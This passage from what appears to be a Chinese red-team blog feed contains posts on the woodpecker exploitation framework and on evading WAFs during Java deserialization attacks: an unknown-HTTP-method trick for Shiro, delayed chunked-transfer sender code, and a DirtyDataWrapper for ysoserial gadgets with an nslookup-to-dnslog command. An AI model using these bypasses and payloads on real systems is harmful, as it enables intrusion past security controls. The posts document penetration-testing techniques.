你需要了解的weblogic攻击手法</a></li></ul><p><code>触发补丁检测</code>就是提交可触发补丁的payload,然后看是否拦截来确定漏洞是否修复。比如CVE-2019-2725我们就可以发送带<class>标签的payload,若如下提示非法标签说明漏洞修复了。</class></p><p><img src="/articles/2021/woodpecker-framework-introduce/cve-2019-2725.png" alt></p><p><code>特定特征检测</code>就是通过respone的某些特征可以知道漏洞是否修复,比如CVE-2020-14882/3漏洞修复后的响应如下,那咱们就可以通过repsoen状态码为<code>500</code>,返回包中存在<code>The server encountered an unexpected condition which prevented it from fulfilling the request.</code>提示来判断。</p><p><img src="/articles/2021/woodpecker-framework-introduce/cve-2020-148823-fixbug.png" alt></p><h2 id="0x04-深度利用模块-Exploit"><a href="#0x04-深度利用模块-Exploit" class="headerlink" title="0x04 深度利用模块(Exploit)"></a>0x04 深度利用模块(Exploit)</h2><p><strong>深度利用模块的任务是发挥漏洞的最大利用价值</strong>。比如一个RCE可以干的事情很多,命令执行,写文件,读文件,反弹shell,注入内存马,开启bindshell等等。不过最后我梳理了下,很多功能都是有交集的,比如反弹shell可以通过命令执行来反弹,读文件可以通过webshell来读。所以在红队行动中,真正对我们有用的一般是三个功能,woodpecker插件编写的原则上要求深度利用模块必须实现这3个功能,并保证稳定性。</p><ol><li>写文件</li><li>命令回显</li><li>注入内存马</li></ol><p><img src="/articles/2021/woodpecker-framework-introduce/cve-2020-148823-injectmemshell.png" alt></p><h2 id="0x05-荷载生成模块-Payload-generator"><a href="#0x05-荷载生成模块-Payload-generator" class="headerlink" title="0x05 荷载生成模块(Payload generator)"></a>0x05 荷载生成模块(Payload generator)</h2><p><strong>荷载生成模块的任务是帮助红队人员快速生成自定义payload。</strong> 自动化并不能解决所有问题,当遇到奇葩环境时就需要人工介入。比如当shiro漏洞遇到未知中间件时,可能无法回显也无法注入内存马,这时就需要人工构造payload了。但是每次都要先生成序列化数据,设置key,选择加密模式,非常浪费时间。而woodpecker shiro漏洞插件的荷载生成模块可以一键生成。</p><p><img src="/articles/2021/woodpecker-framework-introduce/shiro-payload-generator.png" alt></p><h2 id="0x06-辅助模块-Helper"><a href="#0x06-辅助模块-Helper" class="headerlink" title="0x06 辅助模块(Helper)"></a>0x06 辅助模块(Helper)</h2><p><strong>该模块的任务是将漏洞检测和利用中经常要进行的操作自动化,节省时间。</strong></p><p>比如在java命令执行漏洞中无法使用带有管道符的命令,需要我们去转换下命令。当然有<a href="http://www.jackson-t.ca/runtime-exec-payloads.html" target="_blank" rel="noopener">Jackson_T</a>这样的在线网站,这里我编写成了<a href="https://github.com/woodpecker-appstore/runtime-exec-encoder" target="_blank" rel="noopener">本地插件</a>。</p><p><img src="/articles/2021/woodpecker-framework-introduce/runtime.exec.png" alt></p><p>同时如果想通过命令执行漏洞写一个shell的话,往往需要转义下,这个过程也是比较繁琐的。可以使用<a href="https://github.com/woodpecker-appstore/EchoToFileConverter" target="_blank" rel="noopener">EchoToFileConverter</a>插件来解决。</p><p><img src="/articles/2021/woodpecker-framework-introduce/echo-to-file.png" alt></p><h2 id="0x07-最后的话"><a href="#0x07-最后的话" class="headerlink" title="0x07 最后的话"></a>0x07 最后的话</h2><p>如果你比较认同这样的设计,并有能力编写插件。欢迎到github提交pr或者插件。</p><ul><li><a href="https://woodpecker.gv7.me" target="_blank" rel="noopener">框架主页</a></li><li><a href="https://github.com/woodpecker-framework" target="_blank" rel="noopener">框架仓库</a></li><li><a href="http://github.com/woodpecker-appstore" target="_blank" rel="noopener">插件仓库</a></li></ul>]]></content>
<tags>
<tag> 安全开发 </tag>
<tag> woodpecker-framework </tag>
</tags>
</entry>
<entry>
<title>shiro反序列化绕WAF之未知HTTP请求方法</title>
<link href="/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/"/>
<url>/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/</url>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>当下WAF对shiro的防护,确实比较严格。对rememberMe的长度进行限制,甚至解密payload检查反序列化class。本周我遇到一个场景,就是这种情况。使用之前的方法<code>rememberMe</code>=<code>加密payload</code>+<code>==垃圾数据</code>也失败了,<a href="https://mp.weixin.qq.com/s/P5h9_K4YcvsrU4tsdHsJdQ" target="_blank" rel="noopener">这个方法</a>之前有大佬分享过,我就不再赘述了。我最终使用<code>未知HTTP请求方法</code>解决战斗。</p><p><img src="/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/blocked-by-waf.png" alt="被WAF拦截"></p><h2 id="0x02-过程"><a href="#0x02-过程" class="headerlink" title="0x02 过程"></a>0x02 过程</h2><p>当时我的思考是shiro的payload在header上,如何修改request header可以导致waf解析不出来,但是后端中间件正常解析呢?</p><p>第一步,先构造出先绕WAF,哪怕改成不合法的数据包。<br>第二步,在绕WAF的数据包基础上修正,让后端中间件可以解析。</p><p>我把被拦截的包发送的repeater模块,尝试切换http版本,添加垃圾header头等等方法均没绕过。在修改GET方法为<code>XXX</code>这样的未知HTTP请求方法时,发现WAF不在拦截,但是后端报错了。</p><p><img src="/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/bypass-waf.png" alt="未知HTTP请求方法可以过WAF"></p><p>接下来验证下后端是否真正处理了rememberMe。我先请求去掉rememberMe,response对应的rememberMe消失了</p><p><img src="/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/test-for-del-rememberme.png" alt="删除rememberMe进行测试"></p><p>然后再加上rememberMe,repseone的remeberMe又回来了。这说明后端正常处理rememberMe,这么绕WAF没问题!</p><p><img src="/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/test-for-add-rememberme.png" alt="添加rememberMe进行测试"></p><p>最后将之前注入内存webshell的payload修改下请求方法,成功下Web权限。</p><h2 id="0x03-原理"><a href="#0x03-原理" class="headerlink" title="0x03 原理"></a>0x03 原理</h2><p>方法简单粗暴,不难推断WAF是通过正常的http方法识别HTTP数据包的。但是为何后端中间件依然能拿到rememberMe的结果呢?</p><p>于是我在本地代码<code>org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity</code>处下了断点。</p><p><img src="/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/debug-shiro-rememberme.png" alt="调试shiro rememberMe流程"></p><p>通过<code>XXX方法</code>发送数据包,调试发现<code>request.getCookies</code>可以获取到<code>rememberMe</code>值,而且如下方法均可正常使用。说明未知HTTP请求方法不影响各类参数的读取。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">request.getHeader</span><br><span class="line">request.getParameter // 只能读url提交的参数,body提交的没有解析</span><br><span class="line">request.getInputStream // 读request body</span><br></pre></td></tr></table></figure><p>那对三大组件的调用是否有影响呢?继续翻阅Tomcat源码,我发现Listener被调用是受<code>行为事件</code>影响,Filter是受<code>请求路径</code>影响,而Servlet是受<code>请求路径</code>和<code>HTTP请求方法</code>影响。一旦遇到未知方法,Servlet不再进入业务代码,直接返回一个<code>http.method_not_implemented</code>报错。具体代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//javax.servlet.http.HttpServlet#service</span></span><br><span class="line"><span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">service</span><span class="params">(HttpServletRequest req, HttpServletResponse resp)</span> <span class="keyword">throws</span> ServletException, IOException </span>{</span><br><span class="line"> String method = req.getMethod();</span><br><span class="line"> <span class="keyword">long</span> lastModified;</span><br><span class="line"> <span class="keyword">if</span> (method.equals(<span class="string">"GET"</span>)) {</span><br><span class="line"> .....</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (method.equals(<span class="string">"HEAD"</span>)) {</span><br><span class="line"> lastModified = <span class="keyword">this</span>.getLastModified(req);</span><br><span class="line"> <span class="keyword">this</span>.maybeSetLastModified(resp, lastModified);</span><br><span class="line"> <span class="keyword">this</span>.doHead(req, resp);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (method.equals(<span class="string">"POST"</span>)) {</span><br><span class="line"> <span class="keyword">this</span>.doPost(req, resp);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (method.equals(<span class="string">"PUT"</span>)) {</span><br><span class="line"> <span class="keyword">this</span>.doPut(req, resp);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (method.equals(<span class="string">"DELETE"</span>)) {</span><br><span class="line"> <span class="keyword">this</span>.doDelete(req, resp);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (method.equals(<span class="string">"OPTIONS"</span>)) {</span><br><span class="line"> <span class="keyword">this</span>.doOptions(req, resp);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (method.equals(<span class="string">"TRACE"</span>)) {</span><br><span class="line"> <span class="keyword">this</span>.doTrace(req, resp);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> String errMsg = lStrings.getString(<span class="string">"http.method_not_implemented"</span>);</span><br><span class="line"> Object[] errArgs = <span class="keyword">new</span> Object[]{method};</span><br><span class="line"> errMsg = MessageFormat.format(errMsg, errArgs);</span><br><span class="line"> resp.sendError(<span class="number">501</span>, errMsg);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>所以得到一个结论就是 <strong>未知Http方法名绕WAF这个姿势,可以使用在Filter和Listener层出现的漏洞,同时WAF不解析的情况</strong>。</p>]]></content>
<tags>
<tag> 绕WAF </tag>
</tags>
</entry>
<entry>
<title>Java反序列化数据绕WAF之延时分块传输</title>
<link href="/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/"/>
<url>/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/</url>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p><code>chunked-coding-converter</code>在0.2.1以及之前版本是不支持对二进制数据进行分块的。这个问题实验室的<code>darkr4y</code>师傅今年3月份的时候就已经反馈了多次,由于懒癌在身一直没有更新。直到我自己遇到一个站点,<a href="https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/">反序列化带大量脏数据</a>没有绕成功,于是又想起了分块传输。花了一点时间让插件支持了二进制数据,然而这样依然被拦截了! </p><p><img src="/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/blocked-by-waf.png" alt="直接分块传输被WAF拦截"></p><p>这也在意料之中,分块传输被公开已经有两年之久,很多WAF已经支持检测。那有没有办法让这个姿势重振往日雄风呢?</p><h2 id="0x02-延时分块"><a href="#0x02-延时分块" class="headerlink" title="0x02 延时分块"></a>0x02 延时分块</h2><p>通过测试,发现WAF一般是如下应对分块传输的。</p><ol><li>发现数据包是分块传输,启动分块传输线程进行接收</li><li>分块传输线程不断接收客户端传来的分块,直到接收到<code>0\r\n\r\n</code></li><li>将所有分块合并,并检测合并之后的内容。</li></ol><p>当时和<code>darkr4y</code>师傅交流时,我们曾做过一个设想,<strong>在上一块传输完成后,sleep一段时间,再发送下一块。</strong> 目的是在2阶段延长WAF分块传输线程的等待时间,消耗WAF性能。这时有没有可能WAF为自身性能和为业务让步考虑,而放弃等待所有分块发送完呢? 。这次正好遇到适合的环境来验证一下想法。</p><p><img src="/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/sleep-chunked-bypass-workflow.png" alt="延时分块传输绕WAF流程"></p><p>当然了,我们块与块之间发送的间隔时间必须要小于后端中间件的<code>post timeout</code>,Tomcat默认是20s,weblogic是30s。</p><h2 id="0x03-编码实现"><a href="#0x03-编码实现" class="headerlink" title="0x03 编码实现"></a>0x03 编码实现</h2><p>为了加大WAF的识别难度,我们可以考虑以下3点。</p><ol><li>延时时间随机化</li><li>分块长度随机化</li><li>垃圾注释内容与长度随机化[可选]</li></ol><p>首先我们需要对原始request header进行处理。需要把<code>Content-Length</code>删除,分块传输不需要发送body长度,然后加上<code>Transfer-Encoding: chunked</code>头。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">headers.remove(<span class="string">"Content-Length"</span>);</span><br><span class="line">headers.put(<span class="string">"Transfer-Encoding"</span>,<span class="string">"chunked"</span>);</span><br></pre></td></tr></table></figure><p>其实调用<code>HttpURLConnection.setChunkedStreamingMode(int chunkedLen)</code>就可以实现分块发包。不过这个接口只能设置固定分块长度,而且无法直接控制分块时间间隔。于是我打算用socket来模拟发送http/https分块传输包,这样要灵活的多。以下是实现的简化代码。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 1.连接目标服务器</span></span><br><span class="line">Socket socket = socket.connect(<span class="keyword">new</span> InetSocketAddress(host, port));</span><br><span class="line">OutputStream osw = socket.getOutputStream();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2.发送request header</span></span><br><span class="line">osw.write(reqHeader);</span><br><span class="line">osw.flush();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 3.随机分块和随机延时发送request body</span></span><br><span class="line">ByteArrayInputStream byteArrayInputStream = <span class="keyword">new</span> ByteArrayInputStream(reqBody);</span><br><span class="line"><span class="keyword">byte</span>[] buffer = <span class="keyword">new</span> <span class="keyword">byte</span>[Util.getRandom(minChunkedLen,maxChunkedLen)];</span><br><span class="line"><span class="keyword">while</span> (byteArrayInputStream.read(buffer) != -<span class="number">1</span>){</span><br><span class="line"> <span class="comment">// 3.1发送分块长度</span></span><br><span class="line"> <span class="keyword">final</span> String chunkedLen = Util.decimalToHex(buffer.length) + <span class="string">"\r\n"</span>;</span><br><span class="line"> osw.write(chunkedLen.getBytes());</span><br><span class="line"> chunkeInfoEntity.setChunkedLen(buffer.length);</span><br><span class="line"> osw.flush();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 3.2发送分块内容</span></span><br><span class="line"> <span class="keyword">byte</span>[] chunked = Transfer.joinByteArray(buffer, <span class="string">"\r\n"</span>.getBytes());</span><br><span class="line"> osw.write(chunked);</span><br><span class="line"> osw.flush();</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 3.3延时</span></span><br><span class="line"> <span class="keyword">int</span> sleeptime = Util.getRandom(minSleepTime,maxSleepTime);</span><br><span class="line"> Thread.sleep(sleeptime);</span><br><span class="line"> </span><br><span class="line"> buffer = <span class="keyword">new</span> <span class="keyword">byte</span>[Util.getRandom(minChunkedLen,maxChunkedLen)]; <span class="comment">// 获取新的buffer长度</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 4.发送完毕</span></span><br><span class="line">osw.write(<span class="string">"0\r\n\r\n"</span>.getBytes());</span><br><span class="line">osw.flush();</span><br><span class="line"><span class="keyword">byte</span>[] result = readFullHttpResponse(socket.getInputStream());</span><br></pre></td></tr></table></figure><p>为了方便日后使用,我给<a href="https://github.com/c0ny1/chunked-coding-converter" target="_blank" rel="noopener">chunked-coding-converter</a>插件添加了<code>sleep chunked sender</code>,并添加很多细节功能,比如预估分块数量范围和延时范围,显示每一块发送的内容,长度,延时时间以及发送状态等等。</p><p>这里我直接使用最新版本,将被拦截的数据分成<code>218块</code>,共延时<code>1分46秒</code>发送,最终成功绕过WAF。</p><p><img src="/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/bypass-through-sleep-chunked.png" alt="延时分块传输成功绕过WAF"></p><h2 id="0x04-一些零碎"><a href="#0x04-一些零碎" class="headerlink" title="0x04 一些零碎"></a>0x04 一些零碎</h2><p>最后列一点边边角角的东西,当餐后”甜点“,需要请自取。</p><ol><li>只有HTTP/1.1支持分块传输</li><li>POST包都支持分块,不局限仅仅于反序列化和上传包</li><li>Transfer-Encoding: chunked大小写不敏感</li></ol>]]></content>
<tags>
<tag> 安全开发 </tag>
<tag> 绕WAF </tag>
</tags>
</entry>
<entry>
<title>Java反序列化数据绕WAF之加大量脏数据</title>
<link href="/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/"/>
<url>/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/</url>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>前几周有个同事发给我一个授权的站点,需要拿下webshell权限。发现存在Java反序列化漏洞,但是有WAF,ysoserial生成的序列化数据直接就被拦截了。</p><p><img src="/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/blocked-by-waf.png" alt="序列化数据被WAF拦截"></p><p>绕WAF的前提自然是先摸清WAF拦截的规则。我先是把序列化头<code>aced0005</code>删掉,发现还是被拦截了,看来WAF没开启无脑的hw模式。</p><p>接着将序列化数据当中的class名破坏,发现不再拦截了。说明WAF应该是把gadget的class加入了规则。</p><p>考虑到大多数WAF受限于性能影响,当request足够大时,WAF可能为因为性能原因作出让步,超出检查长度的内容,将不会被检查。于是我在序列化头后加了<code>50000</code>个<code>x</code>字符,发现WAf不再拦截,证明这个思路可行!</p><p>这样虽然绕过了WAF,但新的问题也来了。序列化数据是二进制数据,直接手工在burp里加入垃圾数据破坏了序列化数据的结构,后端代码并没有反序列化成功。接下来继续解决这个问题。</p><h2 id="0x02-如何给序列化数据加脏数据?"><a href="#0x02-如何给序列化数据加脏数据?" class="headerlink" title="0x02 如何给序列化数据加脏数据?"></a>0x02 如何给序列化数据加脏数据?</h2><p>我的思路是需要找到一个class可以序列化,它可以把我们的<code>脏数据对象</code>和<code>ysoserial gadget对象</code>一起包裹起来。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span> </span>{</span><br><span class="line"><span class="keyword">new</span> <span class="keyword">byte</span>[<span class="number">50000</span>]{<span class="number">12</span>,<span class="number">12</span>,<span class="number">12</span>....} <span class="comment">//垃圾数据</span></span><br><span class="line">......</span><br><span class="line">ysoserial gadget object</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>所以我们要找的class,<strong>第一需要实现<code>java.io.Serializable</code>接口,第二可以存储任意对象</strong> 。这么看来集合类型就非常符合我们的需求。</p><ol><li>ArrayList</li><li>LinkedList</li><li>HashMap</li><li>LinkedHashMap</li><li>TreeMap</li><li>……</li></ol><p>伪代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">List<Object> arrayList = <span class="keyword">new</span> ArrayList<Object>();</span><br><span class="line">arrayList.add(dirtyData); <span class="comment">// 脏数据</span></span><br><span class="line">arrayList.add(gadget);<span class="comment">// gadget</span></span><br><span class="line"><span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(<span class="string">"/tmp/bypass-waf.ser"</span>)).writeObject(arrayList);</span><br></pre></td></tr></table></figure><h2 id="0x03-改造ysoserial"><a href="#0x03-改造ysoserial" class="headerlink" title="0x03 改造ysoserial"></a>0x03 改造ysoserial</h2><p>为了方便日后使用,我们可以改造下ysoserial,让所有gadget都支持添加大量垃圾数据。大致的流程调用是,构造函数传入gadget对象以及垃圾数据长度,然后调用doWrap方法随机创建一个集合类型把随机生成的脏数据和gadget对象存储起来,最终序列化该对象即可拿到bypass WAF的序列化数据。具体实现参考如下代码和注释。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">DirtyDataWrapper</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">int</span> dirtyDataSize; <span class="comment">//脏数据大小</span></span><br><span class="line"> <span class="keyword">private</span> String dirtyData; <span class="comment">//脏数据内容</span></span><br><span class="line"> <span class="keyword">private</span> Object gadget; <span class="comment">// ysoserila gadget对象</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">DirtyDataWrapper</span><span class="params">(Object gadget, <span class="keyword">int</span> dirtyDataSize)</span></span>{</span><br><span class="line"> <span class="keyword">this</span>.gadget = gadget;</span><br><span class="line"> <span class="keyword">this</span>.dirtyDataSize = dirtyDataSize;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 将脏数据和gadget对象存到集合对象中</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> 一个包裹脏数据和gadget对象可序列化对象</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> Object <span class="title">doWrap</span><span class="params">()</span></span>{</span><br><span class="line"> Object wrapper = <span class="keyword">null</span>;</span><br><span class="line"> dirtyData = getLongString(dirtyDataSize);</span><br><span class="line"> <span class="keyword">int</span> type = (<span class="keyword">int</span>)(Math.random() * <span class="number">10</span>) % <span class="number">10</span> + <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">switch</span> (type){</span><br><span class="line"> <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line"> List<Object> arrayList = <span class="keyword">new</span> ArrayList<Object>();</span><br><span class="line"> arrayList.add(dirtyData);</span><br><span class="line"> arrayList.add(gadget);</span><br><span class="line"> wrapper = arrayList;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> List<Object> linkedList = <span class="keyword">new</span> LinkedList<Object>();</span><br><span class="line"> linkedList.add(dirtyData);</span><br><span class="line"> linkedList.add(gadget);</span><br><span class="line"> wrapper = linkedList;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> HashMap<String,Object> map = <span class="keyword">new</span> HashMap<String, Object>();</span><br><span class="line"> map.put(<span class="string">"a"</span>,dirtyData);</span><br><span class="line"> map.put(<span class="string">"b"</span>,gadget);</span><br><span class="line"> wrapper = map;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line"> LinkedHashMap<String,Object> linkedHashMap = <span class="keyword">new</span> LinkedHashMap<String,Object>();</span><br><span class="line"> linkedHashMap.put(<span class="string">"a"</span>,dirtyData);</span><br><span class="line"> linkedHashMap.put(<span class="string">"b"</span>,gadget);</span><br><span class="line"> wrapper = linkedHashMap;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line"> TreeMap<String,Object> treeMap = <span class="keyword">new</span> TreeMap<String, Object>();</span><br><span class="line"> treeMap.put(<span class="string">"a"</span>,dirtyData);</span><br><span class="line"> treeMap.put(<span class="string">"b"</span>,gadget);</span><br><span class="line"> wrapper = treeMap;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> wrapper;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 生产随机字符串</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> length 随机字符串长度</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> 随机字符串</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">getLongString</span><span class="params">(<span class="keyword">int</span> length)</span></span>{</span><br><span class="line"> String str = <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i=<span class="number">0</span>;i<length;i++){</span><br><span class="line"> str += <span class="string">"x"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> str;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 测试</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception</span>{</span><br><span class="line"> Object cc6 = <span class="keyword">new</span> CommonsCollections6().getObject(<span class="string">"raw_cmd:nslookup xxx.dnslog.cn"</span>);</span><br><span class="line"> DirtyDataWrapper dirtyDataFactory = <span class="keyword">new</span> DirtyDataWrapper(cc6,<span class="number">100</span>);</span><br><span class="line"> ObjectOutputStream objectOutputStream = <span class="keyword">new</span> ObjectOutputStream(<span class="keyword">new</span> FileOutputStream(<span class="string">"/tmp/cc6.ser"</span>));</span><br><span class="line"> objectOutputStream.writeObject(dirtyDataFactory.doWrap());</span><br><span class="line"> objectOutputStream.flush();</span><br><span class="line"> objectOutputStream.close();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>完整代码请移步<a href="https://github.com/woodpecker-framework/ysoserial-for-woodpecker" target="_blank" rel="noopener">ysoserial-for-woodpecker</a>项目。通过如下命令就可以生成带有<code>40000脏数据</code>的CommsonCollects6序列化数据。</p> <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsCollections6 -a <span class="string">"raw_cmd:nslookup win.4lu19g.dnslog.cn"</span> --dirt-data-length 400000 > cc6-dnslog.ser</span><br></pre></td></tr></table></figure><p> 把<code>cc6-dnslog.ser</code>复制到burp中发送,完美饶过waf收到dnslog!</p><p><img src="/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/bypass-waf.png" alt="成功绕过WAF"></p><h2 id="0x04-留一个小问题"><a href="#0x04-留一个小问题" class="headerlink" title="0x04 留一个小问题"></a>0x04 留一个小问题</h2><p>其实不是所有的集合类都适合用于包裹脏数据和gadget,比如<code>LinkedHashSet</code>,<code>HashSet</code>,<code>TreeSet</code>等类就不适合。至于为何,留给大家思考。</p>]]></content>
<tags>
<tag> 安全开发 </tag>
<tag> 绕WAF </tag>
</tags>
</entry>
<entry>
<title>Filter/Servlet型内存马的扫描抓捕与查杀</title>
<link href="/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/"/>
<url>/articles/2020/filter-servlet-type-memshell-scan-capture-and-kill/</url>
